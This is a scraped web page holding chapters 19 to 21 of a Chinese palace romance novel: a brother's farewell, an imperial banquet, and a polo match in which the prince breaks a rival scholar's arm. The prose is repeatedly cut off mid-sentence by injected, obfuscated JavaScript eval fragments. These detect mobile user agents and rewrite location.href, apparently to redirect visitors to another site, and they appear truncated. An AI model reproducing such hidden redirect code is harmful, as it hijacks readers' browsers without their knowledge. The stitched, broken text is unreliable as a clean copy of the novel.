35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897970|134919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不赶客,拉着苏玉堂上马车, 快天黑,苏玉瑶送他上马车,惯例嘱咐:“往后我不能时刻在你身边,你不许招惹是非,记得多和大姐亲近,父亲母亲也会高兴,至于我,如果你愿意,我永远是你姐姐。” 苏玉瑶自上次和王氏聚过之后,对待和苏家的亲情已不自觉变得释然。 少年在家中偷听了父母的话语,因此懂她的失望,他没应和沉默片刻,忽的抬头看着女子庄重道:“我很后悔,回京的一路都在后悔,我当初不该离开。” 如果没离开,他会吵着要父母亲想办法拒绝冥婚,姐姐或许就不用嫁给燕王,有他在,哪怕沈家的亲事也能搅黄。 “在我心里,温病陪我不眠不休的是你,父亲打我,替我挡藤条的也是你,所以我没办法接受,最怕你从此不要我,放弃我。”所以他当初迫切想逃。 苏玉瑶顿觉喉咙口苦涩,比出嫁那晚,母亲来看她的时候更苦。 少年仰头一笑,趁机甩掉眼泪,“我来胡闹一场,那个冷面侍卫一定会告诉燕王,姐姐有个难缠英伟的弟弟,娘家也有人疼爱,我就放心啦。” 苏玉瑶被他说的感动又想笑,上前一步虚抱住他。 苏玉堂却抓紧时机紧紧回抱,在她耳边讲完最后一句煽情话语:“即使家中所有人都偏爱苏玉琼,玉堂发誓,永远只偏爱姐姐。” …… — 苏玉瑶送走了弟弟,情绪一时难以平复,高兴之余,更担心秦执听完卫蔺说的会不会生气。 女子思索了半天。 “周克,等王爷一到门口,你将我绣桌上的那只香囊送给他。”她闲时练手做的,试一试或许能派上用场。 苏玉瑶在想说辞,周克已经手快从房里把东西拿到了手上,做工简单了点,胜在是王妃亲手。 女子又道:“你就说,王妃觉得剑穗暂且坠不上,重绣了个依兰香囊给王爷,方便他静心养神,保重身体。” “是,奴才这就去候着。” 苏玉瑶心中忐忑,不知他好不好敷衍。 戌时,秦执回到王府,刚翻身下马,年轻太监急冲冲上来叩首,将苏玉瑶的话逐一转述。 秦执进门时看着掌中物,随即招来卫蔺,挑眉道:“说吧,今日府里发生了什么。” 天天喊着“妾身告退”的人,怎么可能突然变得殷勤。 卫蔺正要禀告:“苏太傅的公子午后拿着银枪爬墙进了内院,王妃亲自将他带去前厅,聊了一下午黄昏才乘车离开。” 秦执闻言勾唇,“告诉王妃,持兵器擅闯燕王府,是死罪。” 卫蔺一听,他确实没想到这一层,拱手道:“王爷,属下办事不力,应当当场将他捉拿,属下要不要去趟太傅府。” 鹿明儿看不过眼,一把推开憨直的侍卫,道:“王爷,奴才去说。后半句就是:但王妃的香囊绣的好,暂且抵消了?” 秦执捏紧香囊笑了笑,走出几步后,“去传话吧。” 鹿明儿叩首,“好嘞!” …… 19. 第 19 章 三月末,殿试结束在午时,结果和百姓们猜的相差无几,礼部尚书之子祁渊毫无悬念成为钦点的状元,榜眼和探花倒是有个出人意表的。 下了朝,新科状元跨马游街,燕王府门口是必经之路。 好事的众人纷纷留意他会否避开或是特意驻足,毕竟谁都听说过,燕王妃曾经是状元郎的未婚妻,二人之间曾有情愫也说不定呢。 然而没有任何意外,状元郎俊容端坐马背,经过王府门口目不斜视,神情也无变化,无趣陌生到大家无可编排。 宝筝听到墙外敲锣打鼓,很想出去凑凑热闹,但是谨记小姐说的不再打探祁公子,她忍住了守在院里纳鞋。 苏玉瑶卧在床榻午睡,待敲打渐渐远离才坐起身,“宝筝,周克呢。” 她方才半睡半梦间,想起账本里有个地方漏记了,醒来就想找周克补上,找了半天没见到人。 “小姐。”宝筝回头放下手上活计,走到窗口,“崔总管午后忽然来寻周公公喝茶,小姐睡着了,他让奴婢帮忙同小姐请半日休沐。” “噢,行。” 苏玉瑶明白崔乐认周克作义子有许多私心,然而人心肉做,相处久了生感情是理所当然。 原以为周克要晚上才回来,没想一个时辰后,他便进了院子,第一件事就是和苏玉瑶禀告。 宝筝替周克倒了杯凉水,太监道谢接过,喝了口道:“王妃,奴才今日听义父聊起,太后想将今年的鹿鸣宴和鹰扬宴摆在同日庆贺,如此一来,王爷离京前还得进宫一趟,您也要去。” 大殷科考分文举和武举,鹿鸣宴是殿试后文科进士举行的宴会,鹰扬宴则是为武举士安排。 往常两者相距一个月,但燕王作为武将之首,太后为了让他在鹰扬宴露面,有意提前后者。离开宴只有三四日,太后懿旨约莫明天到,崔乐也急着回宫协办。 “王爷知道了吗?” “奴才门口先遇到鹿明儿,已同他说了。” 苏玉瑶想了想,又问道:“鹰扬宴和鹿鸣宴在一个地方?” “……额,不止,是同席。” 苏玉瑶嫁进王府有些时日,周克自觉清楚王妃的为人,但状元郎可说不准,一旦见了面,祁公子按捺不住怎么办。 宝筝也低头纠结。 苏玉瑶见他们沉思,笑道:“我就是随意问问,我会一直坐在王爷身边,大庭广众不会有你们担心的事。” 何况,她了解祁渊,君子端方,怎么可能作扰。 今日得知祁渊的科考未受影响,拔得头筹,她释然了许多,再往后他自有他的锦绣前程,她也有自己的路要走,就当他们有缘无分吧。 周克的笑容返回脸上,“王妃,是奴才多虑。” 与此同时,前院书房里,鹿明儿也在向秦执回禀此事。 男人问的和苏玉瑶如出一辙,“王妃知道了?” “是,正是周克同奴才讲的。”鹿明儿道:“容奴才多嘴一句,这次文武同席,王爷王妃当是会见到状元郎的。” 秦执停下笔,眉梢轻提,“祁渊?” “是,巳时出的殿试捷报。王爷需不需要吩咐奴才提前打点?”譬如调换他的座位避开王妃视线。 秦执闻言轻笑:“他若有本事,冥婚前足够他娶到苏玉瑶,败军之将也配本王分神。” 她已经是他的人,过去的事他不会计较,除非她现在还敢不忠,那便是死路一条。 鹿明儿点头赞同。 这世上女子不易,父母之命谁能违抗。既然查明无私相授受,按王爷的性子,确实不会在意。 卫蔺走近,秦执还有事忙,挥手道:“你去司衣房,取件最好的宫服给她。” 司衣房是后宫给嫔妃制衣的处所,柳嬷嬷年轻时呆的地方,苏玉瑶嫁进王府的喜服也是那里做的,存有她的尺寸。 鹿明儿躬身:“得令!” — 四月初九进宫日,天未亮,燕王府里点上了早灯。 秦执近来公务繁忙,一直住在前院,吃穿住行皆由鹿明儿打理,苏玉瑶因此已算是偷懒晚起。 这次的盘发主要由柳嬷嬷经手,她在宫中服侍多年,做绣工的天生手巧,轻松替女子挽起一个复杂的牡丹冠。 宝筝看得嘴都张了,竖起大拇指,“嬷嬷厉害。” “那是。” 苏玉瑶对着铜镜左看右看,拦住柳桂琴的手臂,“柳嬷嬷,会不会过于华贵。” “王妃,你若独自去,老身不给您梳这个,既是陪王爷,多雍容王爷的气势也压得住,素了反显寒酸。” 苏玉瑶想想也是,没再拒绝。 “王妃,司衣坊的衣裳怎的还没到?” “鹿明儿做事稳妥,应该快了。” 果然不多时,稳妥的鹿明儿就带着一名手捧宫服的婢女进院,“王妃,这是王爷替您备的衣钗。” 苏玉瑶打眼望过去,是套烟霞红牡丹烟纱软缎宫装,颜色艳而不俗,婢女轻提起两边衣肩倏然垂下整件,经火斗熨烫过,从襟领到下摆一丝褶痕都无, 相隔一臂的距离,堪堪发现裙面绣着金线暗纹,华丽大气,确实比她压箱底的好多了,也高调多了。 柳嬷嬷手边正缺合适的发簪,直接取用了鹿明儿送来的金器,苏玉瑶怕过上加过,老妇直接笑着扣下铜镜,不让她再纠结。 …… 秦执站在王府门口,听到声音回头望,女子终于姗姗来迟,如往常的不同凡艳,一副云鬓花颜,金步摇。 苏玉瑶见男人穿的是平常的靛蓝蟒袍,更加觉得自己过度妆扮,略不好意思地低眉,“嬷嬷想给妾身选花佃,耽搁了时辰,让王爷久等。” “选了哪种。” 苏玉瑶抬起头,乌鬓间金珠玓瓅,腮凝新荔,额心缀了朵芙蓉花佃,端庄之余添了一点儿娇俏。 女子见秦执直勾勾盯着她却不开口,心里直打鼓,“王爷在想什么,要不要妾身去换一套?” 秦执不大舍得地收回视线,“本王在想,是不是该将王妃藏起来。” 柳嬷嬷和周克听了在一旁偷笑。 苏玉瑶:“……” 女子面红转身登上马车,男人轻笑跟在她后面,一直到进了车厢坐下,苏玉瑶和回门那天一样选了边椅,将主座全留给他。 然而秦执一看,竟是直接陪苏玉瑶坐在窗边。 宽阔的马车,盛装的二人挤在侧边的厢椅,男人的腿长施展不开,和女子的裙碰搭在一起。 苏玉瑶指了指空位,提醒:“王爷,独坐舒适。” “本王坐这就很舒适。” 苏玉瑶对他无可奈何,默认地不再说话,只是将腿撇向另一侧,尽量给他多留点空间。 秦执则继续往她那靠,“记不记得本王何时启程离京。” “记得,大后日。” “会想本王么。” 苏玉瑶不知不觉被男人逼到角落,大概是司衣坊替她穿的这件熏了相似香料,她分辨不清萦绕在鼻尖的自己,还是他的味道。 “会。” 男人伸手撑在对面厢板,宽肩大袖拢下的阴影将她彻底围拢住,问道:“说说,想哪里。” 苏玉瑶双手抵在他的胸膛,不敢直视,乱答:“哪里都想。” 明知道她在口不对心的敷衍,偏她娇羞的模样让他生不了气,宛若带了一丝酸的甜果,徒惹人心痒。 秦执心念一动,攫取她吻住,女子退无可退,也确实被他三番五次‘随处轻薄’锻炼出来了一点脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913393|134919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮,仰着头任他予取予求。 行程过半,车帘随风亮起缝隙,苏玉瑶心一惊,男人知她怕被人瞧见,笑着拂袖将她护在怀里继续。 “王爷,不行,衣裳,衣裳弄皱了!” “你还有心管它。” …… — 太和殿上,金碧辉煌。 少年天子李明稷撑着脑袋,瞌睡极了,耐着性子听大太监宣读他的旨意。 应该说是太后的旨意。 下首左右则站着文武两位状元,以及他们身后的前十五名进士。 “奉天承运皇帝,诏曰,新科文状元祁渊逸群之才,对策明敏,特授六品翰林院任修撰。武状元冯昌性行温良,武艺卓越,特授六品兰翎侍卫前锋校……” 司礼太监张瑛慢吞吞读完全部,众人叩首谢恩。 “谢陛下,陛下万岁万岁万万岁。” 士子们高兴地走出大殿,其中最前台阶下的正是文科榜首祁渊,他容颜清隽,水蓝色圆领学子袍如新雪拂肩,衬出他身上特有的温雅矜贵。 庶吉士朱令安快步拦住青年,笑道:“祁兄,鹿鸣宴后,大家想在玄霄楼办雅集,你来不来?” 祁渊抬头看向他,俊秀的眉眼温和:“谢朱同窗好意,只是父亲要我宴后回家中熟悉谱牒编纂体例,为下个月上任做准备。实在抱歉。” “哦,好好,没事。” 其他人上来揽住朱令安的肩,宽慰道:“祁公子定然不是有意,你别放心上,虽说他父亲身居高位,他对我们却从不轻慢。” 朱令安爽快笑道:“自然,祁兄的性子同处这三年我还不晓得吗。” 祁渊没走远,听到后面的议论并未停留,而是另挑了条僻静甬道去宝福宫,忽然又有人喊住他。 青年几不可见地拢眉,转过头,只见浓荫匝地,树下走来一名黄衣女子。 他拉开距离,问道:“你是谁。” “我是孟静荷。” 孟静荷进宫做公主伴读,祁渊因为苏玉瑶的关系了解此事,他礼节作揖,眉目疏淡:“我和孟小姐应当无事相商。” 孟静荷看着他现下这幅平静的样子,即使脾气再温和的人,也会痛苦的和她感同身受吧,她一字一顿地问:“祁公子,你甘心吗?” “什么意思。” 女子扬声:“我是问你,跨马游街那天,经过燕王府时,你真的甘心吗。不怕他们朝夕相处,苏玉瑶到最后完全忘了你?” 尚书府将消息藏的很好,但孟静荷还是打探到祁渊被打了十板子都不肯娶苏玉琼,还敢说对苏玉瑶无情? 祁渊闻言覆眸,浅褐的瞳色瞬间变作浓的化不开的墨,甘心,他怎么可能甘心。他和玉瑶相识八年,若不是自负想以功名之身求娶,她早已是他的妻。 父亲的责罚并未让他清醒,直到殿试前他都如行尸走肉,带伤去遍京城所有她曾在的地方。 那日游街,他亦无数次想推门进去带她走,然而这无异于带她赴死,他不能害她。 好在他现已想通出路,五年隐忍,他必定亲手将他的妻夺回来…… 祁渊袖下松拳,再抬眼时神情已从容,嗓音如汩汩清泉,“燕王和王妃既已成婚,本该琴瑟和好,与我有何关联,孟小姐问错人了。” 祁渊微一颔首,拂袖折身离开。 孟静荷知他是在维护苏玉瑶的名誉,但荣王府那日的所见,她确定需要祁渊做出些动作,才能阻止苏玉瑶和秦执之间不断发展的感情。 情急之下,孟静荷喊住他道:“祁渊,倘若我告诉你,一年后燕王就会休了苏玉瑶呢。” “你还会舍得让心上人这么快爱上别人吗?” 男子顿住脚步,转过头震惊,“你再说一遍!” 20. 第 20 章 宴会设在宝福宫北花园,最近的是神武门,早有引路太监在门口守候,见到燕王府的马车立即小跑奔来。 苏玉瑶蹙眉在车帘后手忙脚乱地按上领上盘扣,抿了抿唇脂,所幸柳嬷嬷盘发盘得紧,发髻未乱。 她自问一向循规蹈矩,却总能被他牵连。 苏玉瑶想到这,正好秦执伸手替她扶一下歪斜的步摇,她没忍住将他的手拍开,颇有怨气,“不劳烦王爷。” 看她发脾气,秦执心情反而很好,他自知方才过分,就没继续招惹,安静等她整理完一起下马车。 王德发提着拂尘,待二人落定,上前作礼:“奴才见过燕王,燕王妃。” 秦执难得客气道:“王公公好久不见,婉淑太妃好么。” 王公公总觉得眼前的主似乎心情很好,回道:“娘娘还是老样子,奴才谢王爷惦念,也就王爷记得奴才这个宝福宫的老人了。二位请随奴才来。” 苏玉瑶跟在秦执身后,她知道婉淑太妃是宜香公主的生母,但是公主自幼寄养在太后身边,反而与太后亲厚。 “他们都到了?” “禀告王爷,普通举子们自是早早到齐,只是文武两位状元还有前十五名进士正在太和殿面见陛下受封,怕是尚未赶来。” 秦执侧目,女子并无异常。 苏玉瑶面色沉静,其实有一瞬的紧张,她自觉已看淡和祁渊之间的牵绊,见不到他也不会时常想起,但一想到再见,她心里依旧七上八下。 穿过一片开阔的梅林,宝福宫北花苑里已人流如织。 筵席初开,外髹金漆的高台梁柱上,红色丝绒随风轻摆,台下三列榫案依次排开,聚集了文武两边的士子,互相交谈的场面尤显得鼓乐喧天。 随着太监一声通传燕王驾到,靠入口最近的武举人率先一下子涌上去,他们年轻气盛,秦执这样靠军功挣得的异姓王正是他们的目标。 武状元冯昌带领满身腱子肉的儿郎围绕着他们心中的英雄,纷纷毛遂自荐希望能跟随燕王去冀州,这看得一旁含蓄的文科举子们频频皱眉,当然燕王不是寻常武将,他们虽说有几分风骨不愿表态攀附,行礼还是必不可少的。 朝秦执这来的人越挤越多,王德发不得不喊来小太监维持秩序。 苏玉瑶一直站在燕王身边,士子们不敢靠近她这一侧,但太后公主等女眷没来,乍然出现在男人堆里,她很是不惯,下意识害怕抓住了秦执的袍角。 动作幅度很小,旁人看不到,秦执表面在与他们闲谈,袍下却反手握住她的柔荑,安抚似的捏了捏。 不知是哪位喊了句,“看,咱们文状元也来了!” 文科学子们眼睛一亮,顿时有了主心骨,一窝蜂跑去对面迎接他们的榜首,不然面对武举人总有点使不上劲。 然而祁渊并没有在他们之间停留,而是一路缓步走来,旁人见状让开通道,他站在秦执面前作揖,嗓音干净温和:“下官拜见燕王,燕王妃。” “祁修撰不必多礼。” 秦执比他稍高,垂眸掠他,又瞥了眼身侧女子。 苏玉瑶神情淡然,只是如常平视着对面,等到祁渊直起身,二人的目光终于在半空相交,却谁都没有为谁停留。 曾经的青梅竹马,眼下形同陌路。 苏玉瑶直等到秦执不再看她,舒了口气,攥紧的右手也随即松开。 来之前,她设想了许多,最怕看到祁渊深情,或是怨恨的眼神,她对他有不该有的愧疚,现在看来倒是她不够洒脱。 温润青年转身,唇色瞬间苍白。 祁渊是初次见燕王,他不得不承认孟静荷所说,面前的男人确有让玉瑶心悦的资本,但若只有一年,怎抵得过他们自幼的情分。 孟静荷的激将法多此一举,他相信玉瑶,他可以等。 …… 随着筵席正式开始,永乐宫大太监崔乐先来了一趟,表明太后昨晚睡得不好,迟些过来,赐大家喝得尽兴。 半刻钟后,小皇帝歪头晃脑,乘着撵轿缓缓来迟。 “皇上驾到。” 李明稷十四岁,原本无聊的神情看到秦执立马一脸兴奋,甩着明黄的龙袍就冲了过去,“小舅舅!” “陛下您慢点。” 一旁的崔瑛无奈摇头,这称呼不合规矩,偏偏皇上喜欢这样喊,他们做奴才也没办法,只求别被太后听到了责罚。 秦执伸手扶住他,颔首算是行礼,苏玉瑶也跟着福身。 “小舅母长得真好看啊。” 苏玉瑶第一次见皇帝,没想他如此活泼跳脱,不知她该不该谢这一句不合称谓的夸赞。 正犹豫时,秦执先帮她回了,“确实。” 苏玉瑶:“……” 在周围一片暧昧笑意中,天子落座高台中央。 左边面对着文科举人的空位为太后公主,右边面向武科举人的则是燕王夫妇的位置。 崔瑛走出两步,斜举手朗声道:“得天福祉,今众栋梁士子齐聚一堂,先请二位状元上来各斟三爵酒,向陛下揖拜答礼,再由陛下亲自行簪花。” 这事本该是礼部做,但近两年行商者众,科举人数一减再减,为彰显天恩,太后定下了皇帝授礼。 “是。” 祁渊和冯昌走在第一排,依次后面是榜眼、探花之流,单这项仪式已花了三刻钟。 待众人落座,筵席正式开场,平地上状元一席,榜眼、探花行二,其余二十余名进士每三人一席。 宫廷雅乐奏起,张瑛笑着大喊了声开宴,顷刻间,宫女端着佳肴美酒鱼贯而入,觥筹交错声不绝。 苏玉瑶端坐观礼许久,也是饿了,端起碗喝了口紫玉浆,不巧发现她视线最直接的落点就在祁渊那处。 不知为何,她自作多情地觉得祁渊余光也在看她。 女子心中别扭,便有些刻意地往左,不小心压到了秦执的袖口,男人转过头,淡哂道:“状元郎一招未出,王妃就快缴械投降了。” “啊……王爷是何意。” “王妃就继续装傻。”她以为她掩饰地很好,但他牵着她的左手,怎么感知不到她见到祁渊时的那阵僵硬。 他本不该在意,毕竟一直以来,他认为自己要的是苏玉瑶的人,然而现下……他却不大高兴。 苏玉瑶听出了他语气里的阴阳,她不想在他离京前再惹事端,便晓之以理道:“王爷,祁公子于我只是旧友,譬如你若遇到孟小姐,你也会有所情绪的。” 秦执挑眉,“你说谁。” “孟大学士的女儿,孟静荷,王爷救过她。”按秦执的脾气,若非有情意,怎么会好心出手相救。何况太后也属意孟小姐,说明他们之间定然相熟。 苏玉瑶猜对了部分,孟家是秦家祖上的表亲,沾亲带故,因此太后得势后一直有意扶持孟大学士。 但这和秦执无关,他救孟静荷完全是场意外,当时若不托起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941972|134919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,她会绊倒他的爱马。 “所以王妃觉得,本王和孟静荷也是青梅竹马?” “嗯。” 秦执不置可否,摇头轻笑,无言以对地喝了口宫女新送上来的乳酒。 苏玉瑶也不知自己想的对不对,反正将话头引到了他身上,成功遏制了他继续关注祁渊。 小皇帝吃了会肉填饱了肚子,离开座位跑到秦执那边,“小舅舅,你这次来怎么没给朕带冀州的白雕翎,你答应给朕的。” 秦执笑道:“皇上许我什么奖赏,次次找我拿好处。” 李明稷手肘撑在榫案,嘿嘿一笑,“谁让朕就你一个舅舅啊。” 苏玉瑶瞧他们斗嘴,她以为王爷和太后不睦,连带会讨厌皇上,可他们相处这样好。 秦执从腰间抽出一支白雕的长羽,小皇帝一看眉开眼笑,抱在怀里像得了宝,“小舅舅,朕决定赏你个金口玉言,就祝你和小舅母早生贵子!” 苏玉瑶乖乖吃着盘中餐,蓦地听到有关她的,差点噎住。 “好,借陛下吉言,本王今晚努力。” 李明稷正在把玩手里的白羽,心不在焉地附和,“小舅舅晚上努力什么啊?” 苏玉瑶嘴里还咬着菜杆子,红着耳朵实在听不下去,在案下轻轻踢了男人一脚,秦执这才淡笑着不再多话。 …… 祁渊即使在和同窗推杯换盏间,也有留意高台,因此将苏玉瑶的小动作看得一清二楚。 他比谁都了解,玉瑶长相艳丽,其实是端庄守礼的女子,他从不舍得轻慢,是以很少看见她脸红如此的模样。 好看的让他恨。 筵席过半,静坐席上无非是赏花行令,听听文士子们作词,武举子个个无聊地喝闷酒,忽然有人提起三年前的鹰扬宴,燕王曾陪同学子打了一场马球,不知今日可否再现。 小皇帝很是羡慕,可惜他去不了,“朕做不了主,你们问燕王。” 壮硕儿郎纷纷秀出肌肉,期待地盯着秦执,男人转过头,用不轻不重的声音问道:“王妃想不想看?” 于是,齐刷刷期待的眼神,从男人身上挪到了美貌王妃身上,苏玉瑶还能怎么答,自然是:“妾身想看。” 秦执笑道:“好。” 座位上的武举子们兴奋的一跃而起,勾肩搭背开始讨论队伍分法,燕王分哪一队是首要的竞争,这空前高昂的气氛使得一旁的作诗吟唱被完全压了下去。 祁渊静坐看完全程,秦执和苏玉瑶之间隐约的暧昧让他嫉妒,他忽然明白了孟静荷为何迫切,他好像的确不该等。 青年下定决心,倏然站起,“皇上,臣有一个想法。” 他的嗓音清润,众人闻之安静。 李明稷撑着下巴,“祁爱卿说。” “马球不重蛮力,而是讲究灵巧配合,抟心壹志,我们文科士子也并非都是体质羸弱之辈,难得今日文武同席,不如趁此机会,让我们共同比试一场,以襄盛举。皇上以为如何。” 文和武之间一直存有鸿沟,各自为营,祁渊这番话得到了部分好胜心强的文举子支持,更重要的是,很得爱看热闹的小皇帝的心。 李明稷早听腻了诗词歌赋,连忙表示赞同,“朕同意!” “那,燕王觉得呢。” 祁渊目光温和地看过去,秦执勾起了笑意,他先前还真以为,状元郎可以沉得住气到最后,原来也不过尔尔。 “可以。” 21. 第 21 章 皇宫内可供击鞠的地方在清思殿外的马球场,用生漆浇筑防水腐,再经夯实滚压,平坦光滑,环绕围以三面白墙。 与之相对的一面正是殿前院落特意筑起的看台。 入夏午后暖阳和煦,台上已摆上了几座纱帐,小皇帝,闻讯而来的太后,宜香公主和伴读孟静荷,还有苏玉瑶各坐一边。 台阶下是剩下没有参与的学子们。 苏玉瑶端坐眺望数百尺外的场地,左眼皮轻微跳动,她记得祁渊不是个爱出风头的人,她总觉得不对劲,偏说不出哪里不对。 秦太后瞥了眼右下位的女子,柳嬷嬷偶有传信,信上记录王爷大约隔三五日宿上一宿,苏玉瑶也已喝过了几碗避子汤,简单说听话乖巧,会服侍人。 如此再瞧她今日妆服出众,估计是想给六郎脸面,她倒也不觉得刺眼。 想到六郎有人妥帖照顾,秦太后对苏玉瑶的态度不自觉变化,“崔乐,初升暑气,赐燕王妃一碗紫苏饮。” 苏玉瑶收敛遐思,回头谢恩,“谢太后。” “母后,我的呢!”宜香公主和皇上同岁,尚未及笄,性子很是活泼。 太后素来宠溺她,“好,让崔公公同给你一份。” “谢谢母后!” 望风的小太监拿着窥筩,边报道:“太后,他们换完衣裳了,还分成了两队。您猜怎么着,竟是燕王和文武两位状元的对决,着实有趣。” 不过确实这般合理,以燕王的身手带一班文科士子和武举人们比试才算公平,就是不知文科状元祁渊怎的去了对面。 金框闪闪的大木球门高一丈有余,两侧各一排是计分所用的十二面绣旗,球进则插旗,现在人马齐备,只等锣鼓声响。 “拿来哀家瞧瞧。” 太监躬身递给秦太后窥筩,太后眯眼远望,果然他们秦家六郎永远都是人群中最出众的存在,只是他一袭玄衣,左手持月杖策马时的姿态过于肖似记忆中的青年,让她有一瞬的恍惚。 原来已经过去十六年了…… 场上比试终于开始,除了太后的其他人只能用肉眼看个大概,细致的马球落点和追逐战况,仍依靠不间断的探路太监来禀报。 “太后,燕王首开,直捣冯昌和窦子平重围,半柱香便插了第一支旗子!” “哎呀,严祈瘦弱,守门未成,被追进一球。” …… 孟静荷坐在公主身边,她料想告知祁渊那件事后,他必有动作,但她没想到会来得这样快,这让她一边期待一边忐忑。 她随即看向苏玉瑶,“燕王妃第一次看马球,可认得清敌我?” 苏玉瑶敛下视线,见是坐在对面的孟小姐问她,点头道:“嗯。” 说实话,她很难认不清,队伍窄袍按深浅分,为首的两人一个是她多年竹马,一个是最近镇日在她面前晃荡的夫君,想看错身影都难。 孟静荷又问道:“那王妃希望谁赢?” 苏玉瑶对秦执端水惯了,应付这种不怀好意的问题信手拈来,“我私心希望王爷赢,不过赛事发生诸多难测,且王爷方才同我说过,他只是陪同切磋,本也不必在意输赢。” 这话说得滴水不漏,太后顺耳听见,满意地点头,同时颇为不悦的看向左边,孟静荷不该问这些,毫无意义,显得小家子气。 “安静,都继续看吧。” “是。” 孟静荷低下头噤声。 …… 鞠场中央正在激烈追逐。 参与比试的武举子大都身手敏捷,挥杆风驰电掣,拳头大小的木球如流星飞动。越临近赛点,敲鼓声愈急,落后一方鼓励自己气势的呐喊此起彼伏。 正此时,秦执玄衣箭袖,策马扬起手中偃月球杖,将小球抛掷上空,旋即俯下身冲破迎面而来的两人,于丈门前三十尺接住球连翩击壤。 几息之内又得一旗,杀鼓三通! 冯昌脚蹬长靴,左手执马缰,右手擦掉混了泥灰的汗,大喘气爽快笑道:“王爷好生潇洒!” “冯状元也不错。” 秦执淡笑回赞,他并未尽力,和战场厮杀比起来,这类娱乐连心境都不可同日而语,他只需稍微控住比分,如苏玉瑶所言,输赢彩头而已。 新的开局,小太监吆喝完继续朝天抛开球。 “起!” 白队调换了战术,由祁渊带另外三名武举子专程拖住燕王,其余六人对付九名文科举人绰绰有余。 秦执看得出祁渊是他们之中的高手,源于他父亲礼部尚书时常招待异朝外宾击鞠,就算耳濡目染也该精于此道。 但祁渊几乎一直留在边缘,躲开与他的正面交锋,直到方才,才忽然奋勇提出带队突进。 他确定祁渊参与这场马球,不是为了赢他。 那是为了什么。 比试过了三炷香,四人终于合力将燕王围困在中间,但这种突破对秦执来说轻而易举,男人一个急调马头,换向破出空隙。 祁渊高喝一声,上前追逐,和之前敷衍不同,他速度加快,甩脱身后所有队友,直逼前面的秦执。 就在这时,队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964717|134919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友送来的一记慢球忽然擦过秦执耳侧,他跃起马背挥杆接住,却一时疏忽被紧追不舍的祁渊夺过。 秦执勾唇,原本想放水送对面一旗,然而猎猎风声鼓噪,也或许是看到来者,他体内天生好战的血脉被短暂激起。 男人闪身挡在了祁渊身前,眼神写明了对方没有胜算。 远水难救近火,球门前只剩他们二人在移动追赶,一攻一守,大家不自觉屏气停下观看。 秦执推算过小球击出最刁钻的方位,确定他绝对有把握截获,可就在这时,祁渊忽然失误一般将球以最暴露无遗的角度,径直送往对面。 紧接着,祁渊应该是想救球,便以更快的速度冲向秦执。 在场所有人都是这样猜测。 唯有秦执在他冲来的瞬间明白了祁渊要做什么,从头到尾,祁渊的视线追的都不是击鞠的球,而是他手中的月杖。 祁渊想在大庭广众之下,借他自伤。 天之骄子,御赐状元,簪花宴最意气风发的时刻被燕王击伤,足以让天下人记住燕王恶名。 同时让苏玉瑶恨透他,一箭双雕。 的确,这正是祁渊的意图,他在席间想了很久,为今之计,最快让玉瑶无法放下自己的办法,就是苦肉计博得怜悯。 而比自伤更好的,是由燕王伤他。 玉瑶最易心软,他被她的夫君所伤,她绝无可能置身事外,她必定会认为,一切是燕王嫉妒报复。 二人相距还差十数尺,祁渊看见秦执执杖的手势出现一瞬的避让,想必对方也已经猜到了,以燕王的本事,的确可以及时收手。 祁渊很紧张,生怕他收手。 然而没有,秦执原来只是调整了一下姿势,他俯下身,左手捏紧握把,似要迎面疾冲,凌厉的凤眸染上满满的兴奋。 仿佛眼前的是他的猎物。 秦执大概在说话,但祁渊看不请他的口型。 二人越来越近。 就在这时,原本静止的男人果然起势,朝他迅猛冲过来,双方箭在弦上,祁渊不想,也来不及勒马。 交错的瞬间,秦执眼底闪过狠色,他没给对面任何反应的机会,手持长杆以千钧横扫之势,干脆利落,骤然撞击上祁渊的手臂。 “砰——” 祁渊根本无法躲避,月杖下一息碎成两段,臂骨断裂声在偌大球场如平地闷雷,后知后觉的剧痛从马背将他掀翻,他倒地时才明白秦执说的是什么。 秦执说, ——“祁渊,折你一臂,就当本王成全你。”